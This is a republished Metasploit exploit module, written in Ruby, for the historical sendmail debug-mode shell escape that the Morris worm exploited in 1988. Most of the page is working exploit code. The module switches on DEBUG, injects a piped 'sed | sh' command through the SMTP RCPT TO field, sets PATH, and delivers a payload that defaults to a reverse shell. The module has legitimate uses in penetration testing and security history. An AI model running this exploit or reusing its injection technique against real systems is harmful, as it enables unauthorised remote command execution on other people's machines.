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Morris Worm sendmail Debug Mode Shell Escape

Morris Worm sendmail Debug Mode Shell Escape
Posted Nov 5, 2018
Authored by wvu, Robert Tappan Morris, Cliff Stoll | Site metasploit.com

This Metasploit module exploits sendmail's well-known historical debug mode to escape to a shell and execute commands in the SMTP RCPT TO command. This vulnerability was exploited by the Morris worm in 1988-11-02. Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg. Currently only cmd/unix/reverse and cmd/unix/generic are supported.

tags | exploit, worm, shell
systems | unix
MD5 | 916044331d126eab8e387612884dc927

Morris Worm sendmail Debug Mode Shell Escape

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'expect'

class MetasploitModule < Msf::Exploit::Remote

# cmd/unix/reverse spams the session with Telnet codes on EOF
Rank = AverageRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Morris Worm sendmail Debug Mode Shell Escape',
'Description' => %q{
This module exploits sendmail's well-known historical debug mode to
escape to a shell and execute commands in the SMTP RCPT TO command.

This vulnerability was exploited by the Morris worm in 1988-11-02.
Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.

Currently only cmd/unix/reverse and cmd/unix/generic are supported.
},
'Author' => [
'Robert Tappan Morris', # Exploit and worm for sure
'Cliff Stoll', # The Cuckoo's Egg inspiration
'wvu' # Module and additional research
],
'References' => [
['URL', 'https://en.wikipedia.org/wiki/Morris_worm'], # History
['URL', 'https://spaf.cerias.purdue.edu/tech-reps/823.pdf'], # Analysis
['URL', 'https://github.com/arialdomartini/morris-worm'], # Source
['URL', 'http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH'] # Setup
],
'DisclosureDate' => 'Nov 2 1988',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => false, # DefUid in src/conf.c, usually "daemon"
'Payload' => {'Compat' => {'RequiredCmd' => 'generic telnet'}},
'Targets' => [
# https://en.wikipedia.org/wiki/Source_Code_Control_System
['@(#)version.c 5.51 (Berkeley) 5/2/86', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}
))

register_options([Opt::RPORT(25)])

register_advanced_options([
OptFloat.new('SendExpectTimeout', [true, 'Timeout per send/expect', 3.5])
])
end

def check
checkcode = CheckCode::Safe

connect
res = sock.get_once

return CheckCode::Unknown unless res

if res =~ /^220.*Sendmail/
checkcode = CheckCode::Detected
end

sock.put("DEBUG\r\n")
res = sock.get_once

return checkcode unless res

if res.start_with?('200 Debug set')
checkcode = CheckCode::Appears
end

checkcode
rescue Rex::ConnectionError => e
vprint_error(e.message)
CheckCode::Unknown
ensure
disconnect
end

def exploit
# We don't care who the user is, so randomize it
from = rand_text_alphanumeric(8..42)

# Strip mail header with sed(1), pass to sh(1), and ensure a clean exit
to = %("| sed '1,/^$/d' | sh; exit 0")

# We don't have $PATH, so set one
path = '/bin:/usr/bin:/usr/ucb:/etc'

sploit = {
nil => /220.*Sendmail/,
'DEBUG' => /200 Debug set/,
"MAIL FROM:<#{from}>" => /250.*Sender ok/,
"RCPT TO:<#{to}>" => /250.*Recipient ok/,
'DATA' => /354 Enter mail/,
# Indent PATH= so it's not interpreted as part of the mail header
" PATH=#{path}" => nil,
'export PATH' => nil,
payload.encoded => nil,
'.' => /250 Ok/,
'QUIT' => /221.*closing connection/
}

print_status('Connecting to sendmail')
connect

print_status('Enabling debug mode and sending exploit')
sploit.each do |line, pattern|
Timeout.timeout(datastore['SendExpectTimeout']) do
if line
print_status("Sending: #{line}")
sock.put("#{line}\r\n")
end
if pattern
vprint_status("Expecting: #{pattern.inspect}")
sock.expect(pattern) do |pat|
return unless pat
vprint_good("Received: #{pat.first}")
end
end
end
end
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
rescue Timeout::Error
fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out')
ensure
disconnect
end

def on_new_session(session)
print_warning("Do NOT type `exit', or else you may lose further shells!")
print_warning('Hit ^C to abort the session instead, please and thank you')
end

end

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